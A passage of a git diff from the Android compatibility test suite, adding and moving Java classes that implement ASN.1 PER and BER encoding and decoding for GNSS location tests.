+ @Override public void decodePerAligned(BitStreamReader reader) {
+ decodePerImpl(reader, true);
+ }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1GeneralString.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1GeneralString.java
new file mode 100644
index 0000000..4f0159a
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1GeneralString.java
@@ -0,0 +1,180 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.base;
+
+import static android.location.cts.asn1.base.PerAlignedUtils.SIXTYFOUR_K;
+
+import com.google.common.base.Preconditions;
+import com.google.common.collect.ImmutableList;
+
+import java.nio.ByteBuffer;
+import java.util.Collection;
+import java.util.Objects;
+
+/**
+ * A general string is any ISO 646 related 8-bit encoding, presumably agreed on
+ *
+ * Implements ASN.1 functionality.
+ *
+ */
+public class Asn1GeneralString extends Asn1Object {
+ private static final Collection<Asn1Tag> possibleFirstTags =
+ ImmutableList.of(Asn1Tag.GENERAL_STRING);
+
+ private byte[] value;
+ private int minimumSize = 0;
+ private Integer maximumSize = null; // Null == unconstrained.
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ return possibleFirstTags;
+ }
+
+ @Override Asn1Tag getDefaultTag() {
+ return Asn1Tag.GENERAL_STRING;
+ }
+
+ @Override int getBerValueLength() {
+ throw new UnsupportedOperationException();
+ }
+
+ @Override void encodeBerValue(ByteBuffer buf) {
+ throw new UnsupportedOperationException();
+ }
+
+ @Override void decodeBerValue(ByteBuffer buf) {
+ throw new UnsupportedOperationException();
+ }
+
+ protected void setMinSize(int min) {
+ minimumSize = min;
+ }
+
+ protected void setMaxSize(int max) {
+ maximumSize = max;
+ }
+
+ public byte[] getValue() {
+ return value;
+ }
+
+ public void setValue(byte[] value) {
+ this.value = value;
+ }
+
+ private Iterable<BitStream> encodePerImpl(boolean aligned) {
+ Objects.requireNonNull(value, "No value set.");
+ Preconditions.checkState(value.length >= minimumSize, "Value too short.");
+ Preconditions.checkState(maximumSize == null || value.length <= maximumSize,
+ "Value too long.");
+ int characterBitCount = 8;
+ if (maximumSize == null) {
+ throw new UnsupportedOperationException("unconstrained unimplemented");
+ }
+
+ BitStream result = new BitStream();
+ for (byte b : value) {
+ result.appendByte(b);
+ }
+ if (aligned && maximumSize * characterBitCount > 16) {
+ result.setBeginByteAligned();
+ }
+
+ if (minimumSize == maximumSize
+ && maximumSize < SIXTYFOUR_K) {
+ return ImmutableList.of(result);
+ }
+
+ if (maximumSize >= SIXTYFOUR_K) {
+ throw new UnsupportedOperationException("large string unimplemented");
+ }
+
+ // A little oddity when maximumSize != minimumSize.
+ if (aligned && maximumSize * characterBitCount == 16) {
+ result.setBeginByteAligned();
+ }
+
+ // Must be preceded by a count. The count and the bit field may be
+ // independently aligned.
+ BitStream count = null;
+ if (aligned) {
+ count = PerAlignedUtils.encodeSmallConstrainedWholeNumber(
+ value.length, minimumSize, maximumSize);
+ } else {
+ count = PerUnalignedUtils.encodeConstrainedWholeNumber(
+ value.length, minimumSize, maximumSize);
+ }
+ return ImmutableList.of(count, result);
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return encodePerImpl(false);
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return encodePerImpl(true);
+ }
+
+ private void decodePerImpl(BitStreamReader reader, boolean aligned) {
+ int characterBitCount = 8;
+ if (maximumSize == null) {
+ throw new UnsupportedOperationException("unconstrained unimplemented");
+ }
+
+ if (minimumSize == maximumSize
+ && maximumSize < SIXTYFOUR_K) {
+ if (aligned && maximumSize * characterBitCount > 16) {
+ reader.spoolToByteBoundary();
+ }
+ value = new byte[maximumSize];
+ for (int i = 0; i < maximumSize; i++) {
+ value[i] = reader.readByte();
+ }
+ return;
+ }
+
+ if (maximumSize >= SIXTYFOUR_K) {
+ throw new UnsupportedOperationException("large string unimplemented");
+ }
+
+ // Value is preceded by a count.
+ int count = 0;
+ if (aligned) {
+ count = PerAlignedUtils.decodeSmallConstrainedWholeNumber(
+ reader, minimumSize, maximumSize);
+ } else {
+ count = PerUnalignedUtils.decodeConstrainedWholeNumber(
+ reader, minimumSize, maximumSize);
+ }
+
+ if (aligned && maximumSize * characterBitCount >= 16) {
+ reader.spoolToByteBoundary();
+ }
+
+ value = new byte[count];
+ for (int i = 0; i < count; i++) {
+ value[i] = reader.readByte();
+ }
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ decodePerImpl(reader, false);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ decodePerImpl(reader, true);
+ }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1IA5String.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1IA5String.java
new file mode 100644
index 0000000..dff4822
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1IA5String.java
@@ -0,0 +1,341 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.base;
+
+import static android.location.cts.asn1.base.PerAlignedUtils.SIXTYFOUR_K;
+
+import com.google.common.base.Preconditions;
+import com.google.common.collect.ImmutableList;
+
+import java.nio.ByteBuffer;
+import java.nio.CharBuffer;
+import java.nio.charset.CharacterCodingException;
+import java.nio.charset.Charset;
+import java.nio.charset.CharsetDecoder;
+import java.nio.charset.CharsetEncoder;
+import java.nio.charset.CoderResult;
+import java.nio.charset.StandardCharsets;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Objects;
+
+/**
+ * Represents strings in 7-bit US ASCII (actually pages 1 and 6 of ISO
+ * International Register of Coded Character Sets plus SPACE and DELETE).
+ *
+ * Implements ASN.1 functionality.
+ *
+ */
+public class Asn1IA5String extends Asn1Object {
+ private static final Collection<Asn1Tag> possibleFirstTags =
+ ImmutableList.of(Asn1Tag.IA5_STRING);
+
+ private String alphabet = null;
+ private byte largestCanonicalValue = 127;
+ private String value;
+ private int minimumSize = 0;
+ private Integer maximumSize = null; // Null == unconstrained.
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ return possibleFirstTags;
+ }
+
+ @Override Asn1Tag getDefaultTag() {
+ return Asn1Tag.IA5_STRING;
+ }
+
+ @Override int getBerValueLength() {
+ Objects.requireNonNull(value, "No value set.");
+ return value.length();
+ }
+
+ @Override void encodeBerValue(ByteBuffer buf) {
+ Objects.requireNonNull(value, "No value set.");
+ buf.put(value.getBytes(StandardCharsets.US_ASCII));
+ }
+
+ @Override void decodeBerValue(ByteBuffer buf) {
+ setValue(new String(getRemaining(buf), StandardCharsets.US_ASCII));
+ }
+
+ protected void setAlphabet(String alphabet) {
+ Objects.requireNonNull(alphabet);
+ Preconditions.checkArgument(alphabet.length() > 0, "Empty alphabet");
+ try {
+ ByteBuffer buffer = StandardCharsets.US_ASCII.newEncoder().encode(CharBuffer.wrap(alphabet));
+ byte[] canonicalValues = buffer.array();
+ Arrays.sort(canonicalValues);
+ largestCanonicalValue = canonicalValues[canonicalValues.length - 1];
+ this.alphabet = new String(canonicalValues, StandardCharsets.US_ASCII);
+ } catch (CharacterCodingException e) {
+ throw new IllegalArgumentException("Invalid alphabet " + alphabet, e);
+ }
+ }
+
+ protected void setMinSize(int min) {
+ minimumSize = min;
+ }
+
+ protected void setMaxSize(int max) {
+ maximumSize = max;
+ }
+
+ public String getValue() {
+ return value;
+ }
+
+ public void setValue(String value) {
+ Preconditions.checkArgument(value.length() >= minimumSize,
+ "Value too short.");
+ Preconditions.checkArgument(maximumSize == null
+ || value.length() <= maximumSize,
+ "Value too long.");
+ try {
+ Charset charset = (alphabet != null) ? new RestrictedCharset() : StandardCharsets.US_ASCII;
+ charset.newEncoder().encode(CharBuffer.wrap(value));
+ this.value = value;
+ } catch (CharacterCodingException e) {
+ throw new IllegalArgumentException("Illegal value '" + value + "'", e);
+ }
+ }
+
+ private Iterable<BitStream> encodePerImpl(boolean aligned) {
+ Objects.requireNonNull(value, "No value set.");
+
+ int characterBitCount = calculateBitsPerCharacter(aligned);
+
+ // Use real character values if they fit.
+ boolean recodeValues = largestCanonicalValue >= (1 << characterBitCount);
+
+ // In aligned case, pad unless result size is known to be 16 bits or less [X.691-0207, 27.5.6-7]
+ BitStream result = encodeValueCharacters(characterBitCount, recodeValues);
+ if (aligned && (maximumSize == null || maximumSize * characterBitCount > 16)) {
+ result.setBeginByteAligned();
+ }
+
+ if (maximumSize != null) {
+ if (minimumSize == maximumSize && maximumSize < SIXTYFOUR_K) {
+ return ImmutableList.of(result);
+ }
+
+ if (maximumSize >= SIXTYFOUR_K) {
+ throw new UnsupportedOperationException("large string unimplemented");
+ }
+
+ // A little oddity when maximumSize != minimumSize [X.691-0207, 27.5.7].
+ if (aligned && maximumSize * characterBitCount == 16) {
+ result.setBeginByteAligned();
+ }
+ }
+
+ // Must be preceded by a count. The count and the bit field may be independently aligned.
+ BitStream count = null;
+ if (maximumSize == null) {
+ count = aligned
+ ? PerAlignedUtils.encodeSemiConstrainedLength(value.length())
+ : PerUnalignedUtils.encodeSemiConstrainedLength(value.length());
+ } else {
+ if (aligned) {
+ count = PerAlignedUtils.encodeSmallConstrainedWholeNumber(
+ value.length(), minimumSize, maximumSize);
+ } else {
+ count = PerUnalignedUtils.encodeConstrainedWholeNumber(
+ value.length(), minimumSize, maximumSize);
+ }
+ }
+ return ImmutableList.of(count, result);
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return encodePerImpl(false);
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return encodePerImpl(true);
+ }
+
+ private BitStream encodeValueCharacters(int characterBitCount,
+ boolean recodeValues) {
+ BitStream result = new BitStream();
+ try {
+ Charset charset = recodeValues ? new RestrictedCharset() : StandardCharsets.US_ASCII;
+ ByteBuffer buffer = charset.newEncoder().encode(CharBuffer.wrap(value));
+ while (buffer.hasRemaining()) {
+ byte b = buffer.get();
+ if (characterBitCount == 8) {
+ result.appendByte(b);
+ } else {
+ result.appendLowBits(characterBitCount, b);
+ }
+ }
+ } catch (CharacterCodingException e) {
+ throw new IllegalStateException("Invalid value", e);
+ }
+ return result;
+ }
+
+ private int calculateBitsPerCharacter(boolean aligned) {
+ // must be power of 2 in aligned version.
+ int characterBitCount = aligned ? 8 : 7;
+ if (alphabet != null) {
+ for (int i = 1; i < characterBitCount; i += aligned ? i : 1) {
+ if (1 << i >= alphabet.length()) {
+ characterBitCount = i;
+ break;
+ }
+ }
+ }
+ return characterBitCount;
+ }
+
+ private void decodePerImpl(BitStreamReader reader, boolean aligned) {
+
+ int characterBitCount = calculateBitsPerCharacter(aligned);
+
+ // Use real character values if they fit.
+ boolean recodeValues = largestCanonicalValue >= (1 << characterBitCount);
+
+ if (maximumSize != null && minimumSize == maximumSize && maximumSize < SIXTYFOUR_K) {
+ if (aligned && maximumSize * characterBitCount > 16) {
+ reader.spoolToByteBoundary();
+ }
+ decodeValueCharacters(reader, maximumSize,
+ characterBitCount, recodeValues);
+ return;
+ }
+
+ if (maximumSize != null && maximumSize >= SIXTYFOUR_K) {
+ throw new UnsupportedOperationException("large string unimplemented");
+ }
+
+ int count = 0;
+ if (maximumSize == null) {
+ count = aligned
+ ? PerAlignedUtils.decodeSemiConstrainedLength(reader)
+ : PerUnalignedUtils.decodeSemiConstrainedLength(reader);
+ } else {
+ if (aligned) {
+ count = PerAlignedUtils.decodeSmallConstrainedWholeNumber(
+ reader, minimumSize, maximumSize);
+ } else {
+ count = PerUnalignedUtils.decodeConstrainedWholeNumber(
+ reader, minimumSize, maximumSize);
+ }
+ }
+
+ if (aligned && (maximumSize == null || maximumSize * characterBitCount >= 16)) {
+ reader.spoolToByteBoundary();
+ }
+ decodeValueCharacters(reader, count,
+ characterBitCount, recodeValues);
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ decodePerImpl(reader, false);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ decodePerImpl(reader, true);
+ }
+
+ private void decodeValueCharacters(BitStreamReader reader, int count,
+ int characterBitCount,
+ boolean recodeValues) {
+ ByteBuffer exploded = ByteBuffer.allocate(count);
+ for (int i = 0; i < count; i++) {
+ if (characterBitCount == 8) {
+ exploded.put(reader.readByte());
+ } else {
+ exploded.put((byte) reader.readLowBits(characterBitCount));
+ }
+ }
+ exploded.flip();
+ Charset charset = recodeValues ? new RestrictedCharset() : StandardCharsets.US_ASCII;
+ try {
+ CharBuffer valueCharacters = charset.newDecoder().decode(exploded);
+ value = valueCharacters.toString();
+ } catch (CharacterCodingException e) {
+ throw new IllegalStateException("Invalid character", e);
+ }
+ }
+
+ private class RestrictedCharset extends Charset {
+ RestrictedCharset() {
+ super("Restricted_IA5", new String[0]);
+ }
+
+ @Override
+ public boolean contains(Charset cs) {
+ return false;
+ }
+
+ @Override
+ public CharsetDecoder newDecoder() {
+ return new RestrictedCharsetDecoder(this);
+ }
+
+ @Override
+ public CharsetEncoder newEncoder() {
+ return new RestrictedCharsetEncoder(this);
+ }
+ }
+
+ private class RestrictedCharsetEncoder extends CharsetEncoder {
+ RestrictedCharsetEncoder(RestrictedCharset restrictedCharset) {
+ super(restrictedCharset, 1, 1, new byte[] {0});
+ }
+
+ @Override
+ protected CoderResult encodeLoop(CharBuffer in, ByteBuffer out) {
+ while (in.hasRemaining() && out.hasRemaining()) {
+ char c = in.get();
+ int encodedValue = alphabet.indexOf(c);
+ if (encodedValue < 0) {
+ return CoderResult.unmappableForLength(1);
+ }
+ out.put((byte) encodedValue);
+ }
+ if (in.hasRemaining()) {
+ return CoderResult.OVERFLOW;
+ }
+ return CoderResult.UNDERFLOW;
+ }
+ }
+
+ private class RestrictedCharsetDecoder extends CharsetDecoder {
+ RestrictedCharsetDecoder(RestrictedCharset restrictedCharset) {
+ super(restrictedCharset, 1, 1);
+ }
+
+ @Override
+ protected CoderResult decodeLoop(ByteBuffer in, CharBuffer out) {
+ while (in.hasRemaining() && out.hasRemaining()) {
+ byte b = in.get();
+ int position = b & 0xFF;
+ if (position >= alphabet.length()) {
+ return CoderResult.unmappableForLength(1);
+ }
+ char decodedValue = alphabet.charAt(position);
+ out.put(decodedValue);
+ }
+ if (in.hasRemaining()) {
+ return CoderResult.OVERFLOW;
+ }
+ return CoderResult.UNDERFLOW;
+ }
+ }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1Integer.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1Integer.java
new file mode 100644
index 0000000..921d2d3
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1Integer.java
@@ -0,0 +1,221 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.base;
+
+import static android.location.cts.asn1.base.PerAlignedUtils.SIXTYFOUR_K;
+
+import com.google.common.base.Preconditions;
+import com.google.common.collect.ImmutableList;
+
+import java.math.BigInteger;
+import java.nio.ByteBuffer;
+import java.util.Collection;
+import java.util.Objects;
+
+import javax.annotation.Nullable;
+
+/**
+ * Implements ASN.1 functionality.
+ *
+ */
+public class Asn1Integer extends Asn1Object {
+ private static final Collection<Asn1Tag> possibleFirstTags =
+ ImmutableList.of(Asn1Tag.INTEGER);
+
+ private BigInteger minimumValue = null; // null == unbounded.
+ private BigInteger maximumValue = null; // null == unbounded.
+ private BigInteger value;
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ return possibleFirstTags;
+ }
+
+ @Override Asn1Tag getDefaultTag() {
+ return Asn1Tag.INTEGER;
+ }
+
+ /**
+ * Sets the allowed range of values. A null for either parameter means that
+ * the value is unbounded in that direction.
+ */
+ protected void setValueRange(@Nullable String minimum,
+ @Nullable String maximum) {
+ minimumValue = minimum == null ? null : new BigInteger(minimum);
+ maximumValue = maximum == null ? null : new BigInteger(maximum);
+ }
+
+ private Iterable<BitStream> encodeNormalizedIntegerWithRangeAligned(
+ BigInteger normalizedValue, BigInteger range) {
+ if (range.compareTo(BigInteger.valueOf(SIXTYFOUR_K)) < 0) {
+ BitStream result = PerAlignedUtils.encodeNormalizedSmallConstrainedWholeNumber(
+ normalizedValue.intValue(), range.intValue());
+ return ImmutableList.of(result);
+ } else {
+ return PerAlignedUtils.encodeConstrainedLengthOfBytes(
+ PerAlignedUtils.encodeBigNonNegativeWholeNumber(normalizedValue),
+ 1,
+ PerAlignedUtils.encodeBigNonNegativeWholeNumber(range).length);
+ }
+ }
+
+ private Iterable<BitStream> encodeNormalizedIntegerWithRangeUnaligned(
+ BigInteger normalizedValue, BigInteger range) {
+ BitStream result = PerUnalignedUtils.encodeNormalizedConstrainedWholeNumber(
+ normalizedValue.longValue(), range.longValue());
+ return ImmutableList.of(result);
+ }
+
+ private void validateValue() {
+ Objects.requireNonNull(value, "No value set.");
+ Preconditions.checkState(
+ minimumValue == null || value.compareTo(minimumValue) >= 0,
+ "Too small value %s", value);
+ Preconditions.checkState(
+ maximumValue == null || value.compareTo(maximumValue) <= 0,
+ "Too large value %s", value);
+ }
+
+ @Override int getBerValueLength() {
+ if (value.equals(BigInteger.ZERO)) {
+ // BER requires 0 be encoded with one or more zero octets
+ return 1;
+ } else {
+ return (value.bitLength() >> 3) + 1;
+ }
+ }
+
+ @Override void encodeBerValue(ByteBuffer buf) {
+ if (value.equals(BigInteger.ZERO)) {
+ buf.put((byte) 0);
+ } else {
+ buf.put(value.toByteArray());
+ }
+ }
+
+ @Override void decodeBerValue(ByteBuffer buf) {
+ value = new BigInteger(getRemaining(buf));
+ }
+
+ private Iterable<BitStream> encodePerImpl(boolean aligned) {
+ validateValue();
+ if (maximumValue != null && minimumValue != null) {
+ // Encodes a constrained whole numbers according to X.691-0207, 10.5.
+ BigInteger normalizedValue = value.subtract(minimumValue);
+ BigInteger range = maximumValue.subtract(minimumValue);
+ return aligned
+ ? encodeNormalizedIntegerWithRangeAligned(normalizedValue, range)
+ : encodeNormalizedIntegerWithRangeUnaligned(normalizedValue, range);
+ } else if (minimumValue != null) {
+ // Encodes a semi-constrained whole numbers according to X.691-0207, 10.7.
+ return aligned
+ ? PerAlignedUtils.encodeSemiConstrainedLengthOfBytes(
+ PerAlignedUtils.encodeBigNonNegativeWholeNumber(value.subtract(minimumValue)))
+ : PerUnalignedUtils.encodeSemiConstrainedLengthOfBytes(
+ PerUnalignedUtils.encodeBigNonNegativeWholeNumber(value.subtract(minimumValue)));
+ } else {
+ // Encodes an unconstrained whole number according to X.691-0207, 10.8.
+ return aligned
+ ? PerAlignedUtils.encodeUnconstrainedLengthOfBytes(value.toByteArray())
+ : PerUnalignedUtils.encodeSemiConstrainedLengthOfBytes(value.toByteArray());
+ }
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return encodePerImpl(false);
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return encodePerImpl(true);
+ }
+
+ public void setInteger(BigInteger value) {
+ this.value = value;
+ }
+
+ public void setInteger(BigInteger value, boolean validateValue) {
+ this.value = value;
+ if (validateValue) {
+ validateValue();
+ }
+ }
+
+ public BigInteger getInteger() {
+ return value;
+ }
+
+ private BigInteger decodeNormalizedIntegerWithRangeAligned(
+ BitStreamReader reader, BigInteger range) {
+ if (range.compareTo(BigInteger.valueOf(SIXTYFOUR_K)) < 0) {
+ int normalizedIntValue = PerAlignedUtils.decodeNormalizedSmallConstrainedWholeNumber(
+ reader, range.intValue());
+ return BigInteger.valueOf(normalizedIntValue);
+ } else {
+ return PerAlignedUtils.decodeBigNonNegativeWholeNumber(
+ PerAlignedUtils.decodeConstrainedLengthOfBytes(
+ reader, 1,
+ PerAlignedUtils.encodeBigNonNegativeWholeNumber(range).length));
+ }
+ }
+
+ private BigInteger decodeNormalizedIntegerWithRangeUnaligned(
+ BitStreamReader reader, BigInteger range) {
+ long normalizedIntValue =
+ PerUnalignedUtils.decodeNormalizedConstrainedWholeNumber(
+ reader, range.longValue());
+ return BigInteger.valueOf(normalizedIntValue);
+ }
+
+ private void decodePerImpl(BitStreamReader reader, boolean aligned) {
+ if (maximumValue != null && minimumValue != null) {
+ // Decodes a constrained whole numbers according to X.691-0207, 10.5.
+ BigInteger range = maximumValue.subtract(minimumValue);
+ BigInteger normalizedValue = aligned
+ ? decodeNormalizedIntegerWithRangeAligned(reader, range)
+ : decodeNormalizedIntegerWithRangeUnaligned(reader, range);
+ value = minimumValue.add(normalizedValue);
+ } else if (minimumValue != null) {
+ // Decodes a semi-constrained whole numbers according to X.691-0207, 10.7.
+ byte[] intBytes = aligned
+ ? PerAlignedUtils.decodeSemiConstrainedLengthOfBytes(reader)
+ : PerUnalignedUtils.decodeSemiConstrainedLengthOfBytes(reader);
+ value = new BigInteger(convertPositiveToSigned(intBytes)).add(minimumValue);
+ } else {
+ // Decodes an unconstrained whole number according to X.691-0207, 10.8.
+ value = new BigInteger(aligned
+ ? PerAlignedUtils.decodeUnconstrainedLengthOfBytes(reader)
+ : PerUnalignedUtils.decodeSemiConstrainedLengthOfBytes(reader));
+ }
+ }
+
+ private byte[] convertPositiveToSigned(byte[] rawData) {
+ if ((rawData[0] & 0x80) != 0) {
+ byte[] data = new byte[rawData.length + 1];
+ System.arraycopy(rawData, 0, data, 1, rawData.length);
+ return data;
+ } else {
+ return rawData;
+ }
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ decodePerImpl(reader, false);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ decodePerImpl(reader, true);
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1Null.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1Null.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/Asn1Null.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1Null.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1NumericString.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1NumericString.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/Asn1NumericString.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1NumericString.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1Object.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1Object.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/base/Asn1Object.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1Object.java
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1ObjectIdentifier.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1ObjectIdentifier.java
new file mode 100644
index 0000000..0ddfc59
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1ObjectIdentifier.java
@@ -0,0 +1,136 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.base;
+
+import com.google.common.collect.ImmutableList;
+import com.google.common.collect.Lists;
+
+import java.nio.ByteBuffer;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Objects;
+
+/**
+ * Object identifiers are similar in concept to URIs (indeed
+ * urn:oid:0.0.8.245.0.13 is the OID URI for "itu-t(0) recommendation(0) h(8)
+ * 245 version(0) 13"). See, for example, http://www.alvestrand.no/objectid/ and
+ * http://www.oid-info.com/
+ *
+ * Implements ASN.1 functionality.
+ *
+ */
+public class Asn1ObjectIdentifier extends Asn1Object {
+ private static final Collection<Asn1Tag> possibleFirstTags =
+ ImmutableList.of(Asn1Tag.OBJECT_IDENTIFIER);
+
+ private List<Integer> value;
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ return possibleFirstTags;
+ }
+
+ @Override Asn1Tag getDefaultTag() {
+ return Asn1Tag.OBJECT_IDENTIFIER;
+ }
+
+ @Override int getBerValueLength() {
+ byte[] ber = encodeBerInternal();
+ return ber.length;
+ }
+
+ @Override void encodeBerValue(ByteBuffer buf) {
+ buf.put(encodeBerInternal());
+ }
+
+ @Override void decodeBerValue(ByteBuffer buf) {
+ decodeBerInternal(getRemaining(buf));
+ }
+
+ public List<Integer> getValue() {
+ return value;
+ }
+
+ public void setValue(List<Integer> value) {
+ this.value = value;
+ }
+
+ private byte[] encodeBerInternal() {
+ Objects.requireNonNull(value);
+ // Encode according to BER.
+ BitStream basicEncoding = new BitStream();
+ Iterator<Integer> valueIterator = value.iterator();
+ int firstComponent = valueIterator.next() * 40 + valueIterator.next();
+ encodeComponent(basicEncoding, firstComponent, false);
+ while (valueIterator.hasNext()) {
+ encodeComponent(basicEncoding, valueIterator.next(), false);
+ }
+ return basicEncoding.getPaddedBytes();
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ // Stuff it according to PER. Strange, less packed (but faster to ignore).
+ return PerUnalignedUtils.encodeSemiConstrainedLengthOfBytes(encodeBerInternal());
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ // Stuff it according to PER. Strange, less packed (but faster to ignore).
+ return PerAlignedUtils.encodeSemiConstrainedLengthOfBytes(encodeBerInternal());
+ }
+
+ private void encodeComponent(BitStream basicEncoding,
+ int component,
+ boolean hasSuffix) {
+ if (component > 0x7F) {
+ encodeComponent(basicEncoding, component >>> 7, true);
+ }
+ basicEncoding.appendBit(hasSuffix);
+ basicEncoding.appendLowBits(7, (byte) (component & 0x7F));
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ byte[] basicEncoding = PerUnalignedUtils.decodeSemiConstrainedLengthOfBytes(reader);
+ decodeBerInternal(basicEncoding);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ byte[] basicEncoding = PerAlignedUtils.decodeSemiConstrainedLengthOfBytes(reader);
+ decodeBerInternal(basicEncoding);
+ }
+
+ private void decodeBerInternal(byte[] encodedBytes) {
+ List<Integer> components = Lists.newLinkedList();
+ int currentComponent = 0;
+ for (int i = 0; i < encodedBytes.length; i++) {
+ boolean completesComponent = ((encodedBytes[i] & 0x80) == 0);
+ int componentPart = encodedBytes[i] & 0x7F;
+ currentComponent = (currentComponent << 7) + componentPart;
+ if (completesComponent) {
+ if (components.isEmpty()) {
+ int firstComponent = currentComponent / 40;
+ int secondComponent = currentComponent % 40;
+ components.add(firstComponent);
+ components.add(secondComponent);
+ } else {
+ components.add(currentComponent);
+ }
+ currentComponent = 0;
+ }
+ }
+ value = ImmutableList.copyOf(components);
+ }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1OctetString.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1OctetString.java
new file mode 100644
index 0000000..fe0ee03
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/base/Asn1OctetString.java
@@ -0,0 +1,174 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.base;
+
+import static android.location.cts.asn1.base.PerAlignedUtils.SIXTYFOUR_K;
+
+import com.google.common.base.Preconditions;
+import com.google.common.collect.ImmutableList;
+import com.google.common.io.BaseEncoding;
+
+import java.nio.ByteBuffer;
+import java.util.Collection;
+import java.util.Objects;
+
+/**
+ * Implements ASN.1 functionality.
+ *
+ */
+public class Asn1OctetString extends Asn1Object {
+ private static final BaseEncoding HEX = BaseEncoding.base16();
